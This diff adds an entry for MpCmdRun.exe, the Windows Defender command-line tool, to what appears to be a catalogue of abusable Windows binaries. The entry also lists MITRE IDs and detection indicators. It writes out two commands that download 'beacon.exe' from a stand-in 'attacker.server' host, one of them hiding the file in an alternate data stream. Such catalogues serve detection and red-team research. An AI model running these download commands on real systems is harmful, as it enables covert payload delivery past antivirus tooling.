Added MpCmdRun.exe

yml/OSBinaries/MpCmdRun.yml

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+---
+Name: MpCmdRun.exe
+Description: Binary part of Windows Defender. Used to manage settings in Windows Defender
+Author: 'Oddvar Moe'
+Created: '09/03/2020'
+Commands:
+  - Command: MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe
+    Description: Download file to specified path
+    Usecase: Download file
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
+    OperatingSystem: Windows 10
+  - Command: MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\nicefile.txt:evil.exe
+    Description: Download file to machine and store it in Alternate Data Stream
+    Usecase: Hide downloaded data inton an Alternate Data Stream
+    Category: ADS
+    Privileges: User
+    MitreID: T1096
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1096
+    OperatingSystem: Windows 10
+Full_Path:
+  - Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe
+  - Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exe
+  - Path: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe
+Code_Sample: 
+  - Code: 
+Detection: 
+  - IOC: MpCmdRun storing data into alternate data streams.
+  - IOC: MpCmdRun getting a file from a remote machine or the internet that is not expected.
+Resources:
+  - Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus
+  - Link: https://twitter.com/mohammadaskar2/status/1301263551638761477
+Acknowledgement:
+  - Person: Askar
+    Handle: '@mohammadaskar2'
+  - Person: Oddvar Moe
+    Handle: '@oddvarmoe'
+---